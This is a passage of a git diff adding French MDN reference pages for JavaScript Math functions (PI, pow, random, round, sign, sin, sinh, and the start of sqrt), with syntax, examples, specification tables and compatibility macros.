+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-pi.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>PI</code> est une propriété statique de l'objet <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.PI</code> plutôt que d'être appelée comme la propriété d'un autre objet qui aurait été crée (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.PI">Utiliser <code>Math.PI</code></h3>
+
+<p>La fonction suivante utilise <code>Math.PI</code> afin de calculer le périmètre d'un cercle à partir du rayon passé en argument.</p>
+
+<pre class="brush:js">function calculPérimètre(rayon) {
+  return 2 * Math.PI * rayon;
+}
+
+calculPérimètre(1);  // 6.283185307179586</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.PI")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html b/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html
new file mode 100644
index 0000000000..c7d08031b1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html
@@ -0,0 +1,106 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/pow
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.pow()</strong></code> renvoie un nombre à une certaine puissance, c'est-à-dire <code>base<sup>exposant</sup></code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-pow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.pow(<var>base</var>, <var>exposant</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>Le nombre correspondant à la base.</dd>
+ <dt><code>exponent</code></dt>
+ <dd>L'exposant auquel on élève le paramètre précédent.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente un nombre (premier argument) élevé à une puissance donné (second argument).</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>pow()</code> est une méthode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.pow()</code>, elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.pow()">Utiliser <code>Math.pow()</code></h3>
+
+<pre class="brush:js">// Utilisation simple
+Math.pow(7, 2); // 49
+
+// Exposants négatifs
+Math.pow(7, -2); // 0.02040816326530612 (1/49)
+
+// Exposants fractionnaires
+Math.pow(2, 1/2); // 1.4142135623730951 (racine carrée de 2)
+
+// Cas aux limites
+Math.pow(-7, 0.5); // NaN
+// (les nombres négatifs n'ont pas de racine carrée)
+Math.pow(-7, 1/3); // NaN
+// Nombre négatif avec une base décimale
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.pow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Exponentiation_(**)">Opérateur d'exponentiation</a> {{experimental_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/random/index.html b/files/fr/web/javascript/reference/objets_globaux/math/random/index.html
new file mode 100644
index 0000000000..880f6ee69e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/random/index.html
@@ -0,0 +1,114 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/random
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.random()</strong></code> renvoie un nombre flottant pseudo-aléatoire compris dans l'intervalle <code>[0, 1[</code> (ce qui signifie que 0 est compris dans l'intervalle mais que 1 en est exclu) selon une distribution approximativement uniforme sur cet intervalle. Ce nombre peut ensuite être multiplié afin de couvrir un autre intervalle. La graine (<em>seed</em>) du générateur est choisie par l'algorithme et ne peut pas être choisie ou réinitialisée par l'utilisateur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-random.html")}}</div>
+
+<div class="note">
+<p><strong>Note :</strong> <code>Math.random()</code> <strong>ne fournit pas</strong> de nombres aléatoires propres à une cryptographie sécurisée. Les résultats de cette méthode ne doivent pas être utilisées dans des applications liées à la sécurité. À la place, on préfèrera utiliser l'API Web Crypto et plus précisément la méthode {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Math.random()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre flottant pseudo-aléatoire, généré entre 0 (inclus) et 1 (exclu)</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En JavaScript, les nombres sont représentés comme des nombres flottants selon la norme IEEE 754 et les arrondis sont pris aux plus près. Aussi, les intervalles revendiqués par les fonctions ci-après (en dehors de <code>Math.random()</code>) ne sont pas théoriquement et précisément exacts. Si on utilise des bornes supérieures très grande (2<sup>53</sup> ou plus), il est alors possible, dans de très rares cas, d'obtenir la borne supérieure comme résultat alors que celle-ci devrait être exclue de l'intervalle.</p>
+
+<h3 id="Obtenir_un_nombre_aléatoire_entre_0_et_1">Obtenir un nombre aléatoire entre 0 et 1</h3>
+
+<pre class="brush: js notranslate">// On renvoie un nombre aléatoire entre 0 (inclus) et 1 (exclus)
+function getRandom() {
+  return Math.random();
+}</pre>
+
+<h3 id="Obtenir_un_nombre_aléatoire_dans_un_intervalle">Obtenir un nombre aléatoire dans un intervalle</h3>
+
+<pre class="brush: js notranslate">// On renvoie un nombre aléatoire entre une valeur min (incluse)
+// et une valeur max (exclue)
+function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}</pre>
+
+<h3 id="Obtenir_un_entier_aléatoire_dans_un_intervalle_ouvert_à_droite">Obtenir un entier aléatoire dans un intervalle ouvert à droite</h3>
+
+<pre class="brush: js notranslate">// On renvoie un entier aléatoire entre une valeur min (incluse)
+// et une valeur max (exclue).
+// Attention : si on utilisait Math.round(), on aurait une distribution
+// non uniforme !
+function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min;
+}
+</pre>
+
+<div class="warning">
+<p><strong>Attention !</strong> Utiliser <code>Math.round()</code> entraînerait une distribution non-uniforme et réduirait le caractère aléatoire de la méthode.</p>
+</div>
+
+<h3 id="Obtenir_un_entier_aléatoire_dans_un_intervalle_fermé">Obtenir un entier aléatoire dans un intervalle fermé</h3>
+
+<pre class="brush: js notranslate">// On renvoie un entier aléatoire entre une valeur min (incluse)
+// et une valeur max (incluse).
+// Attention : si on utilisait Math.round(), on aurait une distribution
+// non uniforme !
+function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min +1)) + min;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0 (UNIX) et 1.1 (toutes plateformes).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/round/index.html b/files/fr/web/javascript/reference/objets_globaux/math/round/index.html
new file mode 100644
index 0000000000..981e6cb665
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/round/index.html
@@ -0,0 +1,97 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/round
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>Math.round()</code></strong> retourne la valeur d'un nombre arrondi à l'entier le plus proche.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-round.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.round(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de l'entier le plus proche du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la partie décimale du nombre est plus grande que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus grande. Si elle est plus petite que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus petite. Si la partie décimale du nombre vaut exactement 0.5, l'argument est arrondi à l'entier le plus proche en direction de l'infini positif (attention, pour la plupart des langages de programmation, c'est le nombre avec la plus grande valeur absolue qui est renvoyé ; on a donc une différence de comportement pour les nombres négatifs dont la partie décimale vaut exactement 0.5).</p>
+
+<p><code>round()</code> étant une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.round()</code>, elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Math.round(20.49); //  20
+Math.round(20.5);  //  21
+Math.round(42);    //  42
+Math.round(-20.5); // -20
+Math.round(-20.51);// -21
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.round")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html
new file mode 100644
index 0000000000..8a1c941e66
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html
@@ -0,0 +1,92 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/sign
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.sign()</strong></code> renvoie le signe d'un nombre et permet de savoir si un nombre est positif, négatif ou nul.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sign.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.sign(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente le signe de l'argument. Si l'argument est un nombre positif, négatif, un zéro positif ou un zéro négatif, la fonction renverra respectivement <code>1</code>, <code>-1</code>, <code>0</code>, <code>-0</code>. Sinon, ce sera {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>sign()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>sign</code>()</code> et non pas la méthode d'un autre objet qui aurait été créé (<code>Math </code>n'est pas un constructeur).</p>
+
+<p>Cette fonction peut renvoyer 5 valeurs : <code>1, -1, 0, -0, NaN,</code> qui indiquent respectivement que <code>x</code> est un nombre positif, un nombre négatif, zéro, la limite négative de zéro, et n'est pas un nombre pour {{jsxref("NaN")}}.</p>
+
+<p>L'argument passé à cette fonction sera implicitement converti au type <code>number</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Math.sign(3)     //  1
+Math.sign(-3)    // -1
+Math.sign("-3")  // -1
+Math.sign(0)     //  0
+Math.sign(-0)    // -0
+Math.sign(NaN)   // NaN
+Math.sign("foo") // NaN
+Math.sign()      // NaN
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.sign")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html
new file mode 100644
index 0000000000..c9ea4850ac
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html
@@ -0,0 +1,94 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/sin
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.sin()</strong></code> renvoie le sinus d'un nombre.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.sin(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre (qui exprime un angle en radians).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le sinus de la valeur passée en argument (qui correspond à un angle en radians).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>sin()</code> renvoie une valeur numérique comprise (au sens large) entre 1 et -1 et qui représente le sinus d'un angle donné en radians.</p>
+
+<p><code>sin()</code> est une méthode statique de <code>Math</code>, elle doit être utilisée avec la syntaxe <code>Math.sin()</code>, elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.sin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html
new file mode 100644
index 0000000000..33c5813d67
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html
@@ -0,0 +1,98 @@
+---
+title: Math.sinh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/sinh
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.sinh()</strong></code> renvoie le sinus hyperbolique d'un nombre, dont la formule, utilisant la constante {{jsxref("Math.E","e")}}, est :</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.sinh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sinh.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.sinh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le sinus hyperbolique de la valeur passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>sinh()</code> est une méthode statique de <code>Math</code>, il faut utiliser la syntaxe <code>Math.<code>sinh</code>()</code>. Cette méthode ne doit pas être appelée depuis un autre objet qui aurait été créé (<code>Math </code>n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Math.sinh(0) // 0
+Math.sinh(1) // 1.1752011936438014</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si cette fonction n'est pas disponible, elle peut être émulée en utilisant la fonction {{jsxref("Math.exp()")}}<code> :</code></p>
+
+<pre class="brush: js  language-js">Math.sinh = Math.sinh || function(x){
+    return (Math.exp(x) - Math.exp(-x)) / 2;
+};</pre>
+
+<p>ou encore, si on n'utilise qu'une fois {{jsxref("Math.exp()")}}, avec :</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x){
+    var y = Math.exp(x);
+    return (y - 1/y) / 2;
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.sinh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html
new file mode 100644
index 0000000000..1a95e53caa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html
@@ -0,0 +1,97 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/sqrt
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.sqrt()</strong></code> renvoie la racine carrée d'un nombre. Cette fonction est définie par :</p>
+
